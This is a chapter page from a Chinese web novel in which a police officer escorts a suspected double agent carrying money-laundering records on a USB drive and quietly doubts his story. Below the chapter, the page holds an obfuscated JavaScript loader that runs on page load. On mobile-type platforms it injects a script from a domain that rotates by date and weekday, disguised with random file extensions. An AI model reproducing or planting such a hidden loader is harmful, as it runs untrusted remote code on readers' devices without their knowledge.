返回第一百九十三章 林深的漏洞  书包仔首页

关灯 护眼     字体:

上一章 目录 下一章

废弃军营在河谷尽头,三排平房围着水泥操场,营房的门窗都没了,剩下黑洞洞的方框。操场上长满了草,草比人高。秦墨把皮卡车停在营房后面,熄了火,没关灯,车灯照在墙上,映出两道椭圆形的光斑,象两只睁大的眼睛。

“今晚住这。明天一早进小孟镇。”

林深抱着背包下了车,站在操场上,环顾四周。残垣断壁在暮色里象一排排墓碑,风从破窗户灌进去,又从门洞里挤出来,发出呜呜的声响,象有人在哭。

秦墨找了一间相对完整的营房,把地上的碎砖和烂木头条出去,铺上稻草,让他们今晚有个能躺下的地方。林深坐在稻草上,把背包放在身边,手一直攥着带子,指节发白。

“林深,把u盘给我看看。”

林深的手停了一下。“哪个?”

“真有转帐记录的那个。”

林深看着秦墨,目光里有试探,有尤豫,象在秤盘上称秦墨的诚意。他从背包里摸出一个u盘,递过来。秦墨接过去,插进手机。文档夹里只有几个文档,文档名是数字,没有标题。他点开第一个,是一张表格,密密麻麻的数字。收款方、付款方、金额、日期。确实有转帐记录,格式很规整,不象伪造的。

“这是谁转给谁的?”

林深凑过来,看了一眼屏幕。“霍先生的下线。钱从境外账户进来,通过这些人的账户洗白,再转到霍先生控制的公司。”

“这些账户的主人,你知道吗?”

“知道几个。都是霍先生的亲戚。还有他手下的老婆。”

秦墨往下翻,看了几页。金额从几十万到几百万不等,日期跨度半年多。有一笔转帐的收款方,他认识。国内某个城市的房地产公司老板,上过新闻,被调查过,后来不了了之。秦墨把那个名字记在心里,没有问林深怎么认识他。他不需要认识,数据里存着,他只需要复制。

“你从服务器里拷数据的时候,有没有改动过?”

“没有。直接复制的。”

“你怎么保证这些数据没被人改过?”

林深愣了一下。“我复制出来以后,跟服务器里的原文档做过比对。哈希值一样。说明没改过。”

秦墨把u盘拔下来,还给林深。哈希值。一个二十四岁的程序员,逃命的时候还记着用哈希值验证数据的完整性。他做这些事的时候,不象一个惊慌失措的逃亡者,象在执行任务的技术员。步骤清淅,有条不紊。

“你拷这些数据的时候,用的是园区的计算机?”

“用我自己的计算机。”

“你自己的计算机怎么带进去的?”

林深的手指在背包带上蹭了蹭。“藏在背包夹层里。安检的时候没查出来。”

“园区安检不查计算机?”

“查。他们查手机,不查计算机。”

这个回答太顺了,顺得象在路上滚了很久的鹅卵石,表面摸不出棱角。秦墨没再问,把话题绕开,问了一些无关紧要的事——路上吃了什么,膝盖还疼不疼,晚上冷不冷。林深一一作答,语气渐渐松懈了。

秦墨站起来,走出营房。月光很好,把操场上的草照成银白色,风一吹,草浪起伏,象一片安静的海。他走到营房后面,掏出手机。沉牧之发来的那条消息还停在聊天界面里。林深是霍先生的人。不是将军的人——但消息没发出去,被困在手机里,象一个被困在废墟里的人,喊不出声。

他蹲下来,在碎石堆里捡了一根树枝,在地上画了几笔。霍先生,坤颂,将军,老周——他把四个名字写成一个菱形,每一条边都连着一个问号。他把树枝扔了,用脚把字抹平。月光下,地上什么都没有,但那四个名字还在他脑子里,像四根钉子,钉在不同的方向,拉着同一张网。

回到营房,林深已经躺在稻草上了。眼睛闭着,呼吸均匀。秦墨不知道他是真的睡着了,还是装的。

他把枪从腰间抽出来,放在枕头下面。不是枕头,是一块砖头,上面垫了几层稻草。枪放在砖头和稻草之间,伸手就能摸到。

他躺下来,看着天花板。屋顶的木板裂了几条缝,月光从缝里漏下来,在地上画出几道细细的白线。那些白线穿过稻草,穿过林深的身体,落在秦墨手边。他伸手碰了碰,光没有温度,凉的。他想起林深回答他问题时的眼神——没有闪躲,没有尤豫,象在背课文。每一个字都背得很熟,但课文不是他写的。那些数据、那些账户、那些转帐记录,都是别人准备好的。他只是一个传递者。把数据从服务器里拷出来,交给该交的人。该交给谁?他不知道。也许他知道,但不说。

秦墨把手缩回来,放在枪上。金属的凉意从指尖传遍全身,让他保持清醒。

“秦警官,你睡了吗?”林深的声音在安静的营房里显得很轻,像怕惊动谁。

“没。”

“你在想什么?”

“在想明天。”

“明天到了小孟镇,然后呢?”

“然后有人来接我们。”

“谁?”

秦墨在黑暗里弯了一下嘴角,不是笑,是一种他自己也形容不出的放松。“不知道。到了就知道了。”

营房里安静了很久。秦墨以为林深睡着了,过了半晌,他的声音又飘过来。

“秦警官,你信我吗?”

秦墨没有立刻回答。他在黑暗里睁着眼睛,看着房顶那些漏下月光的裂缝。

“我信你能把u盘带回去。”

这不是林深问的那个问题。林深问的是“你信我吗”,秦墨答的是“我信你能把u盘带回去”。信的是行动,不是人。信的是那个u盘里存着的数据,不是存数据的那个人。任务完成了,他信不信都不重要。完不成,信了也没用。

林深没再说话。秦墨在黑暗里睁着眼睛。他把枪压在枕头下,硌着头骨,疼,但不移开。今晚不睡了。明天,后天,在这条路走完之前,他都不会再睡了。睁着眼睛看前方,也看后视镜。看前面有没有埋伏,看后面有没有追兵,看副驾驶座上那个人有没有在黑暗里睁开眼,看他包里的u盘是真的还是假的,看他的眼泪和他的恐惧是不是同一种颜色,同一种温度。

他摸到了枪柄。

天快亮了。秦墨从枕头下抽出枪,检查了一遍弹匣,推回去,上膛。枪膛里金属摩擦的声音在安静的营房里格外清淅,象有人咬紧牙关。

“林深,走了。”

林深从稻草上坐起来,头发翘着,脸上有压痕。他没问几点,没问还有多远,抱着背包跟秦墨走出营房。天刚亮,操场上还有雾,草叶上沾着露水,裤腿扫过,水珠落在鞋面上。

秦墨打开车门,发动引擎。皮卡车从营房后面拐出来,碾过碎石路,驶上山路。后视镜里,废弃军营在雾中一点一点模糊,最后消失。秦墨看了一眼副驾驶座,林深抱着背包,看着窗外,一言不发。两个人都没说话,不需要说了。信任的裂缝已经在那天夜里被月光照出来了,用稻草和碎砖盖不住。秦墨把目光收回来,看着前方。路还长,他要走完。不管副驾驶座上那个人说的是真话还是假话,是眼泪还是表演,是受害者还是猎人。他答应了,他得把他活着带回去。这是他的任务,也是他的路。

皮卡车钻进晨雾,尾灯在雾里亮着,象两只不肯闭上的眼睛。

👉&128073; 当前浏览器转码失败:请退出“阅读模式”显示完整内容,返回“原网页”。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");